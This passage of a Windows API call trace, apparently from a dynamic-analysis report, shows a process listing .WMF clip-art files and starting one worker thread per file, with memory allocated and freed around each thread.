	[0233.849] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x72, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1
	[0233.849] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1260
	[0233.851] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.852] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x72, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1
	[0233.852] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1264
	[0233.854] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.854] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x72, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1
	[0233.854] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1268
	[0233.856] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.857] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1
	[0233.857] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x126c
	[0233.860] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.860] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1
	[0233.860] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1270
	[0233.863] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.863] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1
	[0233.863] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f76b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1274
	[0233.866] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.866] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1
	[0233.867] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1278
	[0233.869] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.870] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1
	[0233.870] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fe470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x127c
	[0233.872] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.873] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1
	[0233.873] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f501b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1280
	[0233.876] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.877] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1
	[0233.877] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f505230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1284
	[0233.879] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.880] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1
	[0233.880] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f508910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1288
	[0233.949] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.950] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1
	[0233.950] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128c
	[0233.952] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.953] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1
	[0233.953] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50bff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1290
	[0233.956] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.956] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1
	[0233.957] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50f6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1294
	[0233.959] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.960] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1
	[0233.960] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f512db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1298
	[0233.962] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.963] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1
	[0233.963] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f516490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x129c
	[0233.966] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.967] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1
	[0233.967] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f519b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a0
	[0233.973] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.974] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1
	[0233.974] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f51d250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a4
	[0233.976] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.977] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1
	[0233.977] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f520930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a8
	[0233.979] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.980] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1
	[0233.980] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f524010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12ac
	[0233.982] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0233.983] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1
	[0233.983] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0233.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f5276f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b0
	[0234.087] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.088] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1
	[0234.088] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b4
	[0234.090] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.091] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1
	[0234.091] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b8
	[0234.093] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.093] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1
	[0234.098] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12bc
	[0234.100] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.100] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1
	[0234.100] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c0
	[0234.102] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.103] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1
	[0234.103] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c4
	[0234.105] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0234.106] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1
	[0234.106] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0234.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c8
	[0234.108] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
